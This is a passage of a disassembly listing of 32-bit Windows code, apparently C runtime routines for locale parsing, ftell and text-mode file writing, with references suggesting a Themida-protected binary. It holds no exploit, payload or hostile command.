		mov	ecx, [ebp+arg_0]
		push	ecx
		push	offset dword_4442FC
		call	sub_417870
		add	esp, 8
		test	eax, eax
		jz	loc_425198
		mov	edx, [ebp+arg_0]
		push	edx
		push	offset dword_444278
		call	sub_417870
		add	esp, 8
		test	eax, eax
		jz	loc_425198
		mov	eax, [ebp+arg_0]
		push	eax
		lea	ecx, [ebp+var_88]
		push	ecx
		call	sub_425250
		add	esp, 8
		test	eax, eax
		jz	short loc_425120
		xor	eax, eax
		jmp	loc_4251E0
; ---------------------------------------------------------------------------


loc_425120:				; CODE XREF: sub_425060+B7j
		lea	edx, [ebp+var_88]
		push	edx
		push	offset dword_4DB1A4
		lea	eax, [ebp+var_88]
		push	eax
		call	sub_42BE10
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_425146
		xor	eax, eax
		jmp	loc_4251E0
; ---------------------------------------------------------------------------


loc_425146:				; CODE XREF: sub_425060+DDj
		xor	ecx, ecx
		mov	cx, word_4DB1A8
		mov	dword_4DB1AC, ecx
		lea	edx, [ebp+var_88]
		push	edx
		push	offset dword_4442FC
		call	sub_4253B0
		add	esp, 8
		mov	eax, [ebp+arg_0]
		movsx	ecx, byte ptr [eax]
		test	ecx, ecx
		jz	short loc_425186
		mov	edx, [ebp+arg_0]
		push	edx
		push	offset dword_444278
		call	sub_4184C0
		add	esp, 8
		jmp	short loc_425198
; ---------------------------------------------------------------------------


loc_425186:				; CODE XREF: sub_425060+111j
		push	offset dword_4442FC
		push	offset dword_444278
		call	sub_4184C0
		add	esp, 8


loc_425198:				; CODE XREF: sub_425060+83j
					; sub_425060+9Cj ...
		cmp	[ebp+arg_8], 0
		jz	short loc_4251B1
		push	6
		push	offset dword_4DB1A4
		mov	eax, [ebp+arg_8]
		push	eax
		call	sub_4187B0
		add	esp, 0Ch


loc_4251B1:				; CODE XREF: sub_425060+13Cj
		cmp	[ebp+arg_C], 0
		jz	short loc_4251CA
		push	4
		push	offset dword_4DB1AC
		mov	ecx, [ebp+arg_C]
		push	ecx
		call	sub_4187B0
		add	esp, 0Ch


loc_4251CA:				; CODE XREF: sub_425060+155j
		push	offset dword_4442FC
		mov	edx, [ebp+arg_4]
		push	edx
		call	sub_4184C0
		add	esp, 8
		mov	eax, offset dword_4442FC


loc_4251E0:				; CODE XREF: sub_425060+11j
					; sub_425060+6Bj ...
		mov	esp, ebp
		pop	ebp
		retn
sub_425060	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4251F0	proc near		; CODE XREF: sub_424DC0+12Bp
					; DATA XREF: ___:off_444388o
		push	ebp
		mov	ebp, esp
		xor	eax, eax
		pop	ebp
		retn
sub_4251F0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_425200	proc near		; CODE XREF: sub_424F60+75p
					; sub_4253B0+30p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		lea	eax, [ebp+arg_8]
		mov	[ebp+var_4], eax
		mov	[ebp+var_8], 0
		jmp	short loc_42521E
; ---------------------------------------------------------------------------


loc_425215:				; CODE XREF: sub_425200+42j
		mov	ecx, [ebp+var_8]
		add	ecx, 1
		mov	[ebp+var_8], ecx


loc_42521E:				; CODE XREF: sub_425200+13j
		mov	edx, [ebp+var_8]
		cmp	edx, [ebp+arg_4]
		jge	short loc_425244
		mov	eax, [ebp+var_4]
		add	eax, 4
		mov	[ebp+var_4], eax
		mov	ecx, [ebp+var_4]
		mov	edx, [ecx-4]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_4184D0
		add	esp, 8
		jmp	short loc_425215
; ---------------------------------------------------------------------------


loc_425244:				; CODE XREF: sub_425200+24j
					; DATA XREF: ___:00444774o ...
		mov	[ebp+var_4], 0
		mov	esp, ebp
		pop	ebp
		retn
sub_425200	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_425250	proc near		; CODE XREF: sub_425060+ADp

var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	88h
		push	0
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_417070
		add	esp, 0Ch
		mov	ecx, [ebp+arg_4]
		movsx	edx, byte ptr [ecx]
		test	edx, edx
		jnz	short loc_42527A
		xor	eax, eax
		jmp	loc_4253A9
; ---------------------------------------------------------------------------


loc_42527A:				; CODE XREF: sub_425250+21j
		mov	eax, [ebp+arg_4]
		movsx	ecx, byte ptr [eax]
		cmp	ecx, 2Eh
		jnz	short loc_4252B0
		mov	edx, [ebp+arg_4]
		movsx	eax, byte ptr [edx+1]
		test	eax, eax
		jz	short loc_4252B0
		mov	ecx, [ebp+arg_4]
		add	ecx, 1
		push	ecx
		mov	edx, [ebp+arg_0]
		add	edx, 80h
		push	edx
		call	sub_4184C0
		add	esp, 8
		xor	eax, eax
		jmp	loc_4253A9
; ---------------------------------------------------------------------------


loc_4252B0:				; CODE XREF: sub_425250+33j
					; sub_425250+3Ej
		mov	[ebp+var_4], 0
		jmp	short loc_4252C2
; ---------------------------------------------------------------------------


loc_4252B9:				; CODE XREF: sub_425250+152j
		mov	eax, [ebp+var_4]
		add	eax, 1
		mov	[ebp+var_4], eax


loc_4252C2:				; CODE XREF: sub_425250+67j
		push	offset a___0	; "_.,"
		mov	ecx, [ebp+arg_4]
		push	ecx
		call	sub_42BD90
		add	esp, 8
		mov	[ebp+var_C], eax
		cmp	[ebp+var_C], 0
		jnz	short loc_4252E4
		or	eax, 0FFFFFFFFh
		jmp	loc_4253A9
; ---------------------------------------------------------------------------


loc_4252E4:				; CODE XREF: sub_425250+8Aj
		mov	edx, [ebp+arg_4]
		add	edx, [ebp+var_C]
		mov	al, [edx]
		mov	[ebp+var_8], al
		cmp	[ebp+var_4], 0
		jnz	short loc_42531A
		cmp	[ebp+var_C], 40h
		jge	short loc_42531A
		movsx	ecx, [ebp+var_8]
		cmp	ecx, 2Eh
		jz	short loc_42531A
		mov	edx, [ebp+var_C]
		push	edx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_417770
		add	esp, 0Ch
		jmp	short loc_425380
; ---------------------------------------------------------------------------


loc_42531A:				; CODE XREF: sub_425250+A3j
					; sub_425250+A9j ...
		cmp	[ebp+var_4], 1
		jnz	short loc_425348
		cmp	[ebp+var_C], 40h
		jge	short loc_425348
		movsx	edx, [ebp+var_8]
		cmp	edx, 5Fh
		jz	short loc_425348
		mov	eax, [ebp+var_C]
		push	eax
		mov	ecx, [ebp+arg_4]
		push	ecx
		mov	edx, [ebp+arg_0]
		add	edx, 40h
		push	edx
		call	sub_417770


loc_425343:				; DATA XREF: ___:00444CF4o
		add	esp, 0Ch
		jmp	short loc_425380
; ---------------------------------------------------------------------------


loc_425348:				; CODE XREF: sub_425250+CEj
					; sub_425250+D4j ...
		cmp	[ebp+var_4], 2
		jnz	short loc_42537B
		movsx	eax, [ebp+var_8]
		test	eax, eax
		jz	short loc_42535F
		movsx	ecx, [ebp+var_8]
		cmp	ecx, 2Ch
		jnz	short loc_42537B


loc_42535F:				; CODE XREF: sub_425250+104j
		mov	edx, [ebp+var_C]
		push	edx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+arg_0]
		add	ecx, 80h
		push	ecx
		call	sub_417770
		add	esp, 0Ch
		jmp	short loc_425380
; ---------------------------------------------------------------------------


loc_42537B:				; CODE XREF: sub_425250+FCj
					; sub_425250+10Dj
		or	eax, 0FFFFFFFFh
		jmp	short loc_4253A9
; ---------------------------------------------------------------------------


loc_425380:				; CODE XREF: sub_425250+C8j
					; sub_425250+F6j ...
		movsx	edx, [ebp+var_8]
		cmp	edx, 2Ch
		jnz	short loc_42538B
		jmp	short loc_4253A7
; ---------------------------------------------------------------------------


loc_42538B:				; CODE XREF: sub_425250+137j
		movsx	eax, [ebp+var_8]
		test	eax, eax
		jnz	short loc_425395
		jmp	short loc_4253A7
; ---------------------------------------------------------------------------


loc_425395:				; CODE XREF: sub_425250+141j
		mov	ecx, [ebp+var_C]
		mov	edx, [ebp+arg_4]
		lea	eax, [edx+ecx+1]
		mov	[ebp+arg_4], eax
		jmp	loc_4252B9
; ---------------------------------------------------------------------------


loc_4253A7:				; CODE XREF: sub_425250+139j
					; sub_425250+143j
		xor	eax, eax


loc_4253A9:				; CODE XREF: sub_425250+25j
					; sub_425250+5Bj ...
		mov	esp, ebp
		pop	ebp
		retn
sub_425250	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4253B0	proc near		; CODE XREF: sub_425060+101p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_4184C0
		add	esp, 8
		mov	edx, [ebp+arg_4]
		movsx	eax, byte ptr [edx+40h]
		test	eax, eax
		jz	short loc_4253E8
		mov	ecx, [ebp+arg_4]
		add	ecx, 40h
		push	ecx
		push	offset a__2	; "_"
		push	2
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_425200
		add	esp, 10h


loc_4253E8:				; CODE XREF: sub_4253B0+1Cj
		mov	eax, [ebp+arg_4]
		movsx	ecx, byte ptr [eax+80h]
		test	ecx, ecx
		jz	short loc_425413
		mov	edx, [ebp+arg_4]
		add	edx, 80h
		push	edx
		push	offset a__1	; "."
		push	2
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_425200
		add	esp, 10h


loc_425413:				; CODE XREF: sub_4253B0+44j
		pop	ebp
		retn
sub_4253B0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_425420	proc near		; CODE XREF: sub_419FE0+10Ep
					; sub_41E730+216p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		cmp	eax, dword_4DB560
		jnb	short loc_425451
		mov	ecx, [ebp+arg_0]
		sar	ecx, 5
		mov	edx, [ebp+arg_0]
		and	edx, 1Fh
		imul	edx, 24h
		mov	eax, dword_4DB460[ecx*4]
		movsx	ecx, byte ptr [eax+edx+4]
		and	ecx, 1
		test	ecx, ecx


loc_42544F:				; DATA XREF: ___:00444CE4o
		jnz	short loc_42546C


loc_425451:				; CODE XREF: sub_425420+Dj
		call	sub_420520
		mov	dword ptr [eax], 9
		call	sub_420530
		mov	dword ptr [eax], 0
		or	eax, 0FFFFFFFFh
		jmp	short loc_42549E
; ---------------------------------------------------------------------------


loc_42546C:				; CODE XREF: sub_425420:loc_42544Fj
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_427BE0
		add	esp, 4
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+arg_4]
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_4254B0
		add	esp, 0Ch
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_427C70
		add	esp, 4
		mov	eax, [ebp+var_4]


loc_42549E:				; CODE XREF: sub_425420+4Aj
		mov	esp, ebp
		pop	ebp
		retn
sub_425420	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4254B0	proc near		; CODE XREF: sub_41DDD0+40Dp
					; sub_425420+64p ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_427A60
		add	esp, 4
		mov	[ebp+var_C], eax
		cmp	[ebp+var_C], 0FFFFFFFFh
		jnz	short loc_4254DE
		call	sub_420520
		mov	dword ptr [eax], 9
		or	eax, 0FFFFFFFFh
		jmp	loc_42555E
; ---------------------------------------------------------------------------


loc_4254DE:				; CODE XREF: sub_4254B0+19j
		mov	ecx, [ebp+arg_8]
		push	ecx
		push	0
		mov	edx, [ebp+arg_4]
		push	edx
		mov	eax, [ebp+var_C]
		push	eax
		nop
		call	near ptr 27A0000h
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0FFFFFFFFh
		jnz	short loc_425506
		call	near ptr 26908EFh
		nop
		mov	[ebp+var_4], eax
		jmp	short loc_42550D
; ---------------------------------------------------------------------------


loc_425506:				; CODE XREF: sub_4254B0+49j
		mov	[ebp+var_4], 0


loc_42550D:				; CODE XREF: sub_4254B0+54j
		cmp	[ebp+var_4], 0
		jz	short loc_425524
		mov	ecx, [ebp+var_4]
		push	ecx
		call	sub_420480
		add	esp, 4
		or	eax, 0FFFFFFFFh
		jmp	short loc_42555E
; ---------------------------------------------------------------------------


loc_425524:				; CODE XREF: sub_4254B0+61j
		mov	edx, [ebp+arg_0]
		sar	edx, 5
		mov	eax, [ebp+arg_0]
		and	eax, 1Fh
		imul	eax, 24h
		mov	ecx, dword_4DB460[edx*4]
		mov	dl, [ecx+eax+4]
		and	dl, 0FDh
		mov	eax, [ebp+arg_0]
		sar	eax, 5
		mov	ecx, [ebp+arg_0]
		and	ecx, 1Fh
		imul	ecx, 24h
		mov	eax, dword_4DB460[eax*4]
		mov	[eax+ecx+4], dl
		mov	eax, [ebp+var_8]


loc_42555E:				; CODE XREF: sub_4254B0+29j
					; sub_4254B0+72j
		mov	esp, ebp
		pop	ebp
		retn
sub_4254B0	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi


loc_425577:				; CODE XREF: ___:0042559Fj
		cmp	dword ptr [ebp+8], 0
		jnz	short loc_42559B
		push	offset dword_4334A4
		push	0
		push	32h
		push	offset aFtell_c	; "ftell.c"
		push	2
		call	sub_41AB10
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_42559B
		int	3		; Trap to Debugger


loc_42559B:				; CODE XREF: ___:0042557Bj
					; ___:00425598j
		xor	eax, eax
		test	eax, eax
		jnz	short loc_425577
		mov	ecx, [ebp+8]
		push	ecx
		call	sub_418E90
		add	esp, 4
		mov	edx, [ebp+8]
		push	edx
		call	sub_4255E0
		add	esp, 4
		mov	[ebp-4], eax
		mov	eax, [ebp+8]
		push	eax
		call	sub_418F00
		add	esp, 4
		mov	eax, [ebp-4]
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4255E0	proc near		; CODE XREF: sub_419FE0+87p
					; ___:004255B1p

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi


loc_4255E9:				; CODE XREF: sub_4255E0+31j
		cmp	[ebp+arg_0], 0
		jnz	short loc_42560D
		push	offset dword_4334B4
		push	0
		push	63h
		push	offset aFtell_c	; "ftell.c"
		push	2
		call	sub_41AB10
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_42560D
		int	3		; Trap to Debugger


loc_42560D:				; CODE XREF: sub_4255E0+Dj
					; sub_4255E0+2Aj
		xor	eax, eax
		test	eax, eax
		jnz	short loc_4255E9
		mov	ecx, [ebp+arg_0]
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+var_C]
		mov	eax, [edx+10h]
		mov	[ebp+var_8], eax
		mov	ecx, [ebp+var_C]
		cmp	dword ptr [ecx+4], 0
		jge	short loc_425635
		mov	edx, [ebp+var_C]
		mov	dword ptr [edx+4], 0


loc_425635:				; CODE XREF: sub_4255E0+49j
		push	1
		push	0
		mov	eax, [ebp+var_8]
		push	eax
		call	sub_425420
		add	esp, 0Ch
		mov	[ebp+var_1C], eax
		cmp	[ebp+var_1C], 0
		jge	short loc_425656
		or	eax, 0FFFFFFFFh
		jmp	loc_425873
; ---------------------------------------------------------------------------


loc_425656:				; CODE XREF: sub_4255E0+6Cj
		mov	ecx, [ebp+var_C]
		mov	edx, [ecx+0Ch]
		and	edx, 108h
		test	edx, edx
		jnz	short loc_425676
		mov	eax, [ebp+var_C]
		mov	ecx, [ebp+var_1C]
		sub	ecx, [eax+4]
		mov	eax, ecx
		jmp	loc_425873
; ---------------------------------------------------------------------------


loc_425676:				; CODE XREF: sub_4255E0+84j
		mov	edx, [ebp+var_C]
		mov	eax, [ebp+var_C]
		mov	ecx, [edx]
		sub	ecx, [eax+8]
		mov	[ebp+var_18], ecx
		mov	edx, [ebp+var_C]
		mov	eax, [edx+0Ch]
		and	eax, 3
		test	eax, eax
		jz	short loc_4256EC
		mov	ecx, [ebp+var_8]
		sar	ecx, 5
		mov	edx, [ebp+var_8]
		and	edx, 1Fh
		imul	edx, 24h
		mov	eax, dword_4DB460[ecx*4]
		movsx	ecx, byte ptr [eax+edx+4]
		and	ecx, 80h
		test	ecx, ecx
		jz	short loc_4256EA
		mov	edx, [ebp+var_C]
		mov	eax, [edx+8]
		mov	[ebp+var_4], eax
		jmp	short loc_4256CA
; ---------------------------------------------------------------------------


loc_4256C1:				; CODE XREF: sub_4255E0:loc_4256E8j
		mov	ecx, [ebp+var_4]
		add	ecx, 1
		mov	[ebp+var_4], ecx


loc_4256CA:				; CODE XREF: sub_4255E0+DFj
		mov	edx, [ebp+var_C]
		mov	eax, [ebp+var_4]
		cmp	eax, [edx]
		jnb	short loc_4256EA
		mov	ecx, [ebp+var_4]
		movsx	edx, byte ptr [ecx]
		cmp	edx, 0Ah
		jnz	short loc_4256E8
		mov	eax, [ebp+var_18]
		add	eax, 1
		mov	[ebp+var_18], eax


loc_4256E8:				; CODE XREF: sub_4255E0+FDj
		jmp	short loc_4256C1
; ---------------------------------------------------------------------------


loc_4256EA:				; CODE XREF: sub_4255E0+D4j
					; sub_4255E0+F2j
		jmp	short loc_42570F
; ---------------------------------------------------------------------------


loc_4256EC:				; CODE XREF: sub_4255E0+AFj
		mov	ecx, [ebp+var_C]
		mov	edx, [ecx+0Ch]
		and	edx, 80h
		test	edx, edx
		jnz	short loc_42570F
		call	sub_420520
		mov	dword ptr [eax], 16h
		or	eax, 0FFFFFFFFh
		jmp	loc_425873
; ---------------------------------------------------------------------------


loc_42570F:				; CODE XREF: sub_4255E0:loc_4256EAj
					; sub_4255E0+11Aj
		cmp	[ebp+var_1C], 0
		jnz	short loc_42571D
		mov	eax, [ebp+var_18]
		jmp	loc_425873
; ---------------------------------------------------------------------------


loc_42571D:				; CODE XREF: sub_4255E0+133j
		mov	eax, [ebp+var_C]
		mov	ecx, [eax+0Ch]
		and	ecx, 1
		test	ecx, ecx
		jz	loc_42586D
		mov	edx, [ebp+var_C]
		cmp	dword ptr [edx+4], 0
		jnz	short loc_425743
		mov	[ebp+var_18], 0
		jmp	loc_42586D
; ---------------------------------------------------------------------------


loc_425743:				; CODE XREF: sub_4255E0+155j
		mov	eax, [ebp+var_C]
		mov	ecx, [ebp+var_C]
		mov	edx, [eax]
		sub	edx, [ecx+8]
		mov	eax, [ebp+var_C]
		mov	ecx, [eax+4]
		add	ecx, edx
		mov	[ebp+var_10], ecx
		mov	edx, [ebp+var_8]
		sar	edx, 5
		mov	eax, [ebp+var_8]
		and	eax, 1Fh
		imul	eax, 24h


loc_425768:				; DATA XREF: Themida_:0055BE25o
		mov	ecx, dword_4DB460[edx*4]
		movsx	edx, byte ptr [ecx+eax+4]
		and	edx, 80h
		test	edx, edx
		jz	loc_425864
		push	2
		push	0
		mov	eax, [ebp+var_8]
		push	eax
		call	sub_425420
		add	esp, 0Ch
		cmp	eax, [ebp+var_1C]
		jnz	short loc_4257F0
		mov	ecx, [ebp+var_C]
		mov	edx, [ecx+8]
		add	edx, [ebp+var_10]
		mov	[ebp+var_14], edx
		mov	eax, [ebp+var_C]
		mov	ecx, [eax+8]
		mov	[ebp+var_4], ecx
		jmp	short loc_4257B7
; ---------------------------------------------------------------------------


loc_4257AE:				; CODE XREF: sub_4255E0:loc_4257D3j
		mov	edx, [ebp+var_4]
		add	edx, 1
		mov	[ebp+var_4], edx


loc_4257B7:				; CODE XREF: sub_4255E0+1CCj
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_14]
		jnb	short loc_4257D5
		mov	ecx, [ebp+var_4]
		movsx	edx, byte ptr [ecx]
		cmp	edx, 0Ah
		jnz	short loc_4257D3
		mov	eax, [ebp+var_10]
		add	eax, 1
		mov	[ebp+var_10], eax


loc_4257D3:				; CODE XREF: sub_4255E0+1E8j
		jmp	short loc_4257AE
; ---------------------------------------------------------------------------


loc_4257D5:				; CODE XREF: sub_4255E0+1DDj
		mov	ecx, [ebp+var_C]
		mov	edx, [ecx+0Ch]
		and	edx, 2000h
		test	edx, edx
		jz	short loc_4257EE
		mov	eax, [ebp+var_10]
		add	eax, 1
		mov	[ebp+var_10], eax


loc_4257EE:				; CODE XREF: sub_4255E0+203j
		jmp	short loc_425864
; ---------------------------------------------------------------------------


loc_4257F0:				; CODE XREF: sub_4255E0+1B5j
		push	0
		mov	ecx, [ebp+var_1C]
		push	ecx
		mov	edx, [ebp+var_8]
		push	edx
		call	sub_425420
		add	esp, 0Ch
		cmp	[ebp+var_10], 200h
		ja	short loc_425830
		mov	eax, [ebp+var_C]
		mov	ecx, [eax+0Ch]
		and	ecx, 8
		test	ecx, ecx
		jz	short loc_425830
		mov	edx, [ebp+var_C]
		mov	eax, [edx+0Ch]
		and	eax, 400h
		test	eax, eax
		jnz	short loc_425830
		mov	[ebp+var_10], 200h
		jmp	short loc_425839
; ---------------------------------------------------------------------------


loc_425830:				; CODE XREF: sub_4255E0+229j
					; sub_4255E0+236j ...
		mov	ecx, [ebp+var_C]
		mov	edx, [ecx+18h]
		mov	[ebp+var_10], edx


loc_425839:				; CODE XREF: sub_4255E0+24Ej
		mov	eax, [ebp+var_8]
		sar	eax, 5
		mov	ecx, [ebp+var_8]
		and	ecx, 1Fh
		imul	ecx, 24h
		mov	edx, dword_4DB460[eax*4]
		movsx	eax, byte ptr [edx+ecx+4]
		and	eax, 4
		test	eax, eax
		jz	short loc_425864
		mov	ecx, [ebp+var_10]
		add	ecx, 1
		mov	[ebp+var_10], ecx


loc_425864:				; CODE XREF: sub_4255E0+19Cj
					; sub_4255E0:loc_4257EEj ...
		mov	edx, [ebp+var_1C]
		sub	edx, [ebp+var_10]
		mov	[ebp+var_1C], edx


loc_42586D:				; CODE XREF: sub_4255E0+148j
					; sub_4255E0+15Ej
		mov	eax, [ebp+var_1C]
		add	eax, [ebp+var_18]


loc_425873:				; CODE XREF: sub_4255E0+71j
					; sub_4255E0+91j ...
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4255E0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_425880	proc near		; CODE XREF: sub_41A150+147p
					; sub_41B420+57p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		cmp	eax, dword_4DB560
		jnb	short loc_4258B1
		mov	ecx, [ebp+arg_0]
		sar	ecx, 5
		mov	edx, [ebp+arg_0]
		and	edx, 1Fh
		imul	edx, 24h
		mov	eax, dword_4DB460[ecx*4]
		movsx	ecx, byte ptr [eax+edx+4]
		and	ecx, 1
		test	ecx, ecx
		jnz	short loc_4258CC


loc_4258B1:				; CODE XREF: sub_425880+Dj
		call	sub_420520
		mov	dword ptr [eax], 9
		call	sub_420530
		mov	dword ptr [eax], 0
		or	eax, 0FFFFFFFFh
		jmp	short loc_4258FE
; ---------------------------------------------------------------------------


loc_4258CC:				; CODE XREF: sub_425880+2Fj
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_427BE0
		add	esp, 4
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+arg_4]
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_425910
		add	esp, 0Ch
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_427C70
		add	esp, 4
		mov	eax, [ebp+var_4]


loc_4258FE:				; CODE XREF: sub_425880+4Aj
		mov	esp, ebp
		pop	ebp
		retn
sub_425880	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_425910	proc near		; CODE XREF: sub_425880+64p
					; sub_42CE20+145p

var_420		= dword	ptr -420h
var_41C		= byte ptr -41Ch
var_418		= dword	ptr -418h
var_414		= byte ptr -414h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 420h
		mov	[ebp+var_10], 0
		mov	eax, [ebp+var_10]
		mov	[ebp+var_420], eax
		cmp	[ebp+arg_8], 0
		jnz	short loc_425936
		xor	eax, eax
		jmp	loc_425B7F
; ---------------------------------------------------------------------------


loc_425936:				; CODE XREF: sub_425910+1Dj
		mov	ecx, [ebp+arg_0]
		sar	ecx, 5
		mov	edx, [ebp+arg_0]
		and	edx, 1Fh
		imul	edx, 24h
		mov	eax, dword_4DB460[ecx*4]
		movsx	ecx, byte ptr [eax+edx+4]
		and	ecx, 20h
		test	ecx, ecx
		jz	short loc_425968
		push	2
		push	0
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_4254B0
		add	esp, 0Ch


loc_425968:				; CODE XREF: sub_425910+46j
		mov	eax, [ebp+arg_0]
		sar	eax, 5
		mov	ecx, [ebp+arg_0]
		and	ecx, 1Fh
		imul	ecx, 24h
		mov	edx, dword_4DB460[eax*4]
		movsx	eax, byte ptr [edx+ecx+4]
		and	eax, 80h
		test	eax, eax
		jz	loc_425A9C
		mov	ecx, [ebp+arg_4]
		mov	[ebp+var_4], ecx
		mov	[ebp+var_C], 0


loc_42599D:				; CODE XREF: sub_425910:loc_425A95j
		mov	edx, [ebp+var_4]
		sub	edx, [ebp+arg_4]
		cmp	edx, [ebp+arg_8]
		jnb	loc_425A9A
		lea	eax, [ebp+var_414]
		mov	[ebp+var_8], eax


loc_4259B5:				; CODE XREF: sub_425910+115j
		mov	ecx, [ebp+var_8]
		lea	edx, [ebp+var_414]
		sub	ecx, edx
		cmp	ecx, 400h
		jge	short loc_425A27
		mov	eax, [ebp+var_4]
		sub	eax, [ebp+arg_4]
		cmp	eax, [ebp+arg_8]
		jnb	short loc_425A27
		mov	ecx, [ebp+var_4]
		mov	dl, [ecx]
		mov	[ebp+var_41C], dl
		mov	eax, [ebp+var_4]
		add	eax, 1
		mov	[ebp+var_4], eax
		movsx	ecx, [ebp+var_41C]
		cmp	ecx, 0Ah
		jnz	short loc_425A11
		mov	edx, [ebp+var_420]
		add	edx, 1
		mov	[ebp+var_420], edx
		mov	eax, [ebp+var_8]
		mov	byte ptr [eax],	0Dh
		mov	ecx, [ebp+var_8]
		add	ecx, 1
		mov	[ebp+var_8], ecx


loc_425A11:				; CODE XREF: sub_425910+E1j
		mov	edx, [ebp+var_8]
		mov	al, [ebp+var_41C]
		mov	[edx], al
		mov	ecx, [ebp+var_8]
		add	ecx, 1
		mov	[ebp+var_8], ecx
		jmp	short loc_4259B5
; ---------------------------------------------------------------------------


loc_425A27:				; CODE XREF: sub_425910+B6j
					; sub_425910+C1j
		push	0
		lea	edx, [ebp+var_418]
		push	edx
		mov	eax, [ebp+var_8]
		lea	ecx, [ebp+var_414]
		sub	eax, ecx
		push	eax
		lea	edx, [ebp+var_414]
		push	edx
		mov	eax, [ebp+arg_0]
		sar	eax, 5
		mov	ecx, [ebp+arg_0]
		and	ecx, 1Fh
		imul	ecx, 24h
		mov	edx, dword_4DB460[eax*4]
		mov	eax, [edx+ecx]
		push	eax
		nop
		call	near ptr 2720000h
		test	eax, eax
		jz	short loc_425A8A
		mov	ecx, [ebp+var_10]
		add	ecx, [ebp+var_418]
		mov	[ebp+var_10], ecx
		mov	edx, [ebp+var_8]
		lea	eax, [ebp+var_414]
		sub	edx, eax
		cmp	[ebp+var_418], edx
		jge	short loc_425A88
		jmp	short loc_425A9A
; ---------------------------------------------------------------------------


loc_425A88:				; CODE XREF: sub_425910+174j
		jmp	short loc_425A95
; ---------------------------------------------------------------------------


loc_425A8A:				; CODE XREF: sub_425910+155j
		nop
		call	near ptr 26908EFh
		mov	[ebp+var_C], eax
		jmp	short loc_425A9A
; ---------------------------------------------------------------------------


loc_425A95:				; CODE XREF: sub_425910:loc_425A88j
		jmp	loc_42599D
; ---------------------------------------------------------------------------


loc_425A9A:				; CODE XREF: sub_425910+96j
					; sub_425910+176j ...
		jmp	short loc_425AEC
; ---------------------------------------------------------------------------


loc_425A9C:				; CODE XREF: sub_425910+7Aj
